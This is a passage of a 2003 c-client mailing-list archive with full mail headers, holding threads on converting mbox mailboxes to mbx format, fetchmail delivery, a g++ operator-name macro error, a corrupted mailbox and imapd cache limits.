cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 22:07:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h135ujjm030740; Sun, 2 Feb 2003 21:56:45 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135tmCK066746 for ; Sun, 2 Feb 2003 21:55:48 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135tlfV010621 for ; Sun, 2 Feb 2003 21:55:47 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id VAA01916 for ; Sun, 2 Feb 2003 21:54:57 -0800 Message-Id: <200302030554.VAA01916@sheridan.sibble.com> Date: Sun, 02 Feb 2003 21:55:41 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: fetchmail and mbx mailboxes MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" Being that the fetchmail site seems to be down now, I can't look this up in the canonical documentation. How does one get fetchmail to deliver mail to mbx format mailboxes? The way it's currently setup, it is delivering to mbox files in the /var/spool/mail directory. I've got sendmail delivering to the the mbx files in the home directory courtesy of tmail, but not sure how to pull the same thing off with fetchmail. I checked the fetchmail manpage but using the search feature, there were no hits for mbx. Suggestions? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 22:22:24 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 22:22:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h136MOTk008418 for ; Sun, 2 Feb 2003 22:22:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h136MGnO024091 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 22:22:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h136Lbll027580; Sun, 2 Feb 2003 22:21:37 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h136KjCK081152 for ; Sun, 2 Feb 2003 22:20:45 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h136KiZ7018201 for ; Sun, 2 Feb 2003 22:20:44 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id WAA02022 for ; Sun, 2 Feb 2003 22:19:58 -0800 Message-Id: <200302030619.WAA02022@sheridan.sibble.com> Date: Sun, 02 Feb 2003 22:20:43 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: one other oddity with switch from mbox to mbx format MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" Okay, I converted most of the mailboxes on the server using: mbxcvt INBOX mbx INBOX and did a couple using: mailutil copy INBOX "#driver.mbx/INBOX" Sadly I didn't note which ones I used mailutil with and which mbxcvt. Anyhow the issue is that when users are logged into imap server via MS Outlook Express (6), all the messages in the inbox/newmail folder are duplicated, well actually all the messages that were there at conversion time. New messages since the conversion do not show up duplicated. Now... however, if I use pine to view the same users' messages, there are no duplicates. Any ideas? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 23:31:07 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 23:31:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137V7Tk010043 for ; Sun, 2 Feb 2003 23:31:07 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137V3nO025475 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 23:31:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h137USll014938; Sun, 2 Feb 2003 23:30:29 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137S3CK075224 for ; Sun, 2 Feb 2003 23:28:03 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137S1kq010124 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 23:28:01 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137S0Aa006941; Sun, 2 Feb 2003 23:28:00 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h137S0up017884 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sun, 2 Feb 2003 23:28:00 -0800 Message-Id: Date: Sun, 2 Feb 2003 23:28:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: one other oddity with switch from mbox to mbx format In-Reply-To: <200302030619.WAA02022@sheridan.sibble.com> References: <200302030619.WAA02022@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > mbxcvt INBOX mbx INBOX > and did a couple using: mailutil copy INBOX "#driver.mbx/INBOX" These commands copy messages from a traditional UNIX format mailbox to an mbx-format INBOX. They do not delete the messages from the traditional UNIX format INBOX. If you wanted to move (copy+delete) the messages, you'd need to do: mailutil move INBOX "#driver.mbx/INBOX" Since an open sesion on an mbx-format INBOX automatically moves (copies and deletes) any messages found in a traditional UNIX format INBOX to the mbx-format INBOX, that explains the duplicate messages. That is also why I suggested just creating the mbx-format INBOX, and let the next user session do the message moving. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 3 00:10:18 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Feb 2003 00:10:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h138AITk011077 for ; Mon, 3 Feb 2003 00:10:18 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h138AFnO026255 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Feb 2003 00:10:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1389Z09023888; Mon, 3 Feb 2003 00:09:36 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1380HCK072870 for ; Mon, 3 Feb 2003 00:00:17 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1380GQY031217 for ; Mon, 3 Feb 2003 00:00:16 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id XAA02385; Sun, 2 Feb 2003 23:59:23 -0800 Message-Id: <200302030759.XAA02385@sheridan.sibble.com> Date: Mon, 03 Feb 2003 00:00:08 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: one other oddity with switch from mbox to mbx format In-Reply-To: References: <200302030619.WAA02022@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Feb 2003 at 23:28, Mark Crispin wrote: > These commands copy messages from a traditional UNIX format mailbox to an > mbx-format INBOX. They do not delete the messages from the traditional UNIX > format INBOX. Hmmm, well after the first open on the mbx all the messages are moved from the mbox file, it gets left at 556 bytes. > Since an open sesion on an mbx-format INBOX automatically moves (copies > and deletes) any messages found in a traditional UNIX format INBOX to the > mbx-format INBOX, that explains the duplicate messages. Well the dupes only show up on the imap client end (outlook express), pine does not show any dupes. > That is also why I suggested just creating the mbx-format INBOX, and let > the next user session do the message moving. Each time I open the mbx, it moves all mail from the mbox (fetchmail is adding to the mbox files every 5 minutes or so) and that seems fine, but ideally I'd love to completely dump use of mbox altogether if at all possible. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Feb 3 01:37:30 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Feb 2003 01:37:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h139bOTk012516 for ; Mon, 3 Feb 2003 01:37:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h139bKnO027894 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Feb 2003 01:37:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h139aoll021680; Mon, 3 Feb 2003 01:36:50 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h139ZWCK048386 for ; Mon, 3 Feb 2003 01:35:32 -0800 Received: from smarthost2.mail.easynet.fr (smarthost2.mail.easynet.fr [212.180.1.69]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h139ZTZ7010075 for ; Mon, 3 Feb 2003 01:35:30 -0800 Received: from [212.11.35.71] (helo=sunset) by smarthost2.mail.easynet.fr with esmtp (Exim 3.35 #1 (Debian)) id 18fd0h-00009w-00; Mon, 03 Feb 2003 10:35:27 +0100 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.35 #1 (Debian)) id 18fd0g-00006N-00; Mon, 03 Feb 2003 10:35:26 +0100 Message-Id: Date: Mon, 3 Feb 2003 10:34:17 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: "Zachariah P. Garner" , c-client@u.washington.edu Subject: Re: g++ 3.2 doesn't like "#define and" In-Reply-To: <20030202231504.A26678@neurosoft.org> References: <20030202231504.A26678@neurosoft.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003 23:15:04 -0600 "Zachariah P. Garner" wrote: ZPG> I get the following errors when using gcc 3.2.1 when compiling some ZPG> C++ code that includes c-client.h: ZPG> ZPG> | /usr/local/include/c-client/c-client.h:27:9: "and" cannot be used as a macro ZPG> | name as it is an operator in C++ ZPG> | /usr/local/include/c-client/c-client.h:28:9: "or" cannot be used as a macro ZPG> | name as it is an operator in C++ ZPG> | /usr/local/include/c-client/c-client.h:29:9: "not" cannot be used as a macro ZPG> | name as it is an operator in C++ ZPG> ZPG> Does anyone know a work-around for this? (aside from the obvious solution of ZPG> not using C++, not using gcc 3.2 or not using c-client) With gcc the simplest solution is to use -fno-operator-names. Unfortunately it is known to not work with some gcc versions. I have a big section in configure which tries to work around this mess -- with some success although I'm sure there are compilers with which it still doesn't work. Contact me in private if you want to have a look at it. Regards, VZ From pinedev@shivax2.cac.washington.edu Mon Feb 3 15:32:40 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Feb 2003 15:32:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NWeTk008861 for ; Mon, 3 Feb 2003 15:32:40 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NWanO021700 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Feb 2003 15:32:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h13NVn09017392; Mon, 3 Feb 2003 15:31:49 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NUECK048956 for ; Mon, 3 Feb 2003 15:30:14 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NUBQZ022916 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 3 Feb 2003 15:30:12 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NUAGD012378; Mon, 3 Feb 2003 15:30:10 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13NUATZ017170 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 3 Feb 2003 15:30:10 -0800 Message-Id: Date: Mon, 3 Feb 2003 15:30:11 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problem with a mbox file In-Reply-To: <200302030458.UAA01693@sheridan.sibble.com> References: <200302030458.UAA01693@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > Hmm, during the conversion from mbox (/var/spool/mail/username) to mbx > (~INBOX), I notice that one of the user's mailbox is likely corrupted (or > something), both mbxcvt and mailutil choke on converting. Check to see what the first five bytes of the file are. If there are anything other than "From ", that's your problem; fix that and then retry. If you have any other problems, please contact me directly and I'll help you resolve the problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 3 17:25:48 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Feb 2003 17:25:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h141PlTk012910 for ; Mon, 3 Feb 2003 17:25:47 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h141PinO025520 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Feb 2003 17:25:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h141P4jm006072; Mon, 3 Feb 2003 17:25:04 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h141MwCK055896 for ; Mon, 3 Feb 2003 17:22:58 -0800 Received: from netscape.com (r2d2.aoltw.net [64.236.137.26]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h141MvZ7029864 for ; Mon, 3 Feb 2003 17:22:57 -0800 Received: from judge.mcom.com (judge.nscp.aoltw.net [10.169.8.47]) by netscape.com (8.10.0/8.10.0) with ESMTP id h141Muj17272 for ; Mon, 3 Feb 2003 17:22:56 -0800 (PST) Received: from netscape.com ([10.169.192.93]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id H9RFU800.U0D for ; Mon, 3 Feb 2003 17:22:56 -0800 Message-Id: <3E3F15F8.2070003@netscape.com> Date: Mon, 03 Feb 2003 17:23:04 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ducarroz@netscape.com (Jean-Francois Ducarroz) To: c-client@u.washington.edu Subject: streaming data to the rfc parser MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_02_03, X_ACCEPT_LANG, __EVITE_CTYPE" Hi, I am considering using c-client for my next project and I have two main questions: 1) I would like to be able to display the message body of an email or a news message before all the data have been downloaded (POP3 and NNTP). In particular when the message contains large attachment (presuming the message body is at the beginning) I wounder if there is a way to stream the data to the rfc822 parser? if not, how hard would it be do implement that? 2) Also, it does not look like c-client can decode uuencoded images in a news message. Do I am correct? Thanks for your help Jean-Francois Ducarroz -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 3 18:43:47 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Feb 2003 18:43:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h142hlTk014903 for ; Mon, 3 Feb 2003 18:43:47 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h142hdnO027600 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Feb 2003 18:43:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h142gm09028804; Mon, 3 Feb 2003 18:42:48 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h142fPCK043790 for ; Mon, 3 Feb 2003 18:41:25 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h142fNZ7016875 for ; Mon, 3 Feb 2003 18:41:23 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id SAA03816; Mon, 3 Feb 2003 18:40:35 -0800 Message-Id: <200302040240.SAA03816@sheridan.sibble.com> Date: Mon, 03 Feb 2003 18:41:04 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: problem with a mbox file In-Reply-To: References: <200302030458.UAA01693@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 3 Feb 2003 at 15:30, Mark Crispin wrote: > Check to see what the first five bytes of the file are. If there are > anything other than "From ", that's your problem; fix that and then retry. They aren't From lines :-( > If you have any other problems, please contact me directly and I'll help > you resolve the problem. It actually looks like the entire mbox file is corrupted as viewing it in any editor, vi or joe (my prefered editor) shows most of the 30mb as binary, or at least non standard ascii. It's all funny characters, and inverse video etc. There are 3 or 4 normal ascii messages at the end of the file though, but most of it is toast as far as I can tell. The copy I made of all the mbox files before conversion also exhibits the same issue, so off to the tape backup we go. Hopefully the corruption happened recently and doesn't go too far back in the tape rotation. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Thu Feb 6 07:41:01 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Feb 2003 07:41:01 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16Ff1Tk023121 for ; Thu, 6 Feb 2003 07:41:01 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16FevWb029334 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 6 Feb 2003 07:40:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h16Fe1Db086502; Thu, 6 Feb 2003 07:40:02 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16FaQCK043720 for ; Thu, 6 Feb 2003 07:36:26 -0800 Received: from mid-1.inet.it (mid-1.inet.it [213.92.5.18]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16FaOHT024611 for ; Thu, 6 Feb 2003 07:36:25 -0800 Received: from [::ffff:213.92.1.193] by mid-1.inet.it via I-SMTP-4.3.6-430 id ::ffff:213.92.1.193+IwibGyMx27HR; Thu, 06 Feb 2003 16:36:22 +0100 Message-Id: Date: Thu, 6 Feb 2003 16:37:59 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Cc: Harrie Hazewinkel Subject: cache size limitation Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIII, Probability=25%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" HI, I was wondering if some one has been succefull in limiting the size of the message cache of a mailstream in the 'imapd' daemon. What I want to do is limit the amount of memory usage per process/imapd daemon, since a process can become real big in memory footprint when it handles a mailbox of over 1000 of emails. I understood I could write my of cache function, by means of implementing a function like mm_cache and do a mail_parameters(NIL, SET_CACHE, my_cache) during the init phase, but (correct me if I am wrong) the imap-daemon needs the complete set of message in a cache arrray in order to responds properly to a client. I did a small expiriment with my own cache function in which I just kept a single message in cache. Then in case of a 'UID FETCH' no message information is returned to the client. Just directly the OK, even though it does a complete parse of a mailbox. Harrie ------------------------------------------------------------------ Author of MOD-SNMP, enabling SNMP management of Apache HTTP server -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 6 09:36:53 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Feb 2003 09:36:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HarTk027205 for ; Thu, 6 Feb 2003 09:36:53 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HanWb000751 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 6 Feb 2003 09:36:50 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h16HZXDb078750; Thu, 6 Feb 2003 09:35:34 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HWbCK029900 for ; Thu, 6 Feb 2003 09:32:37 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HWYHU026037 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 6 Feb 2003 09:32:34 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by 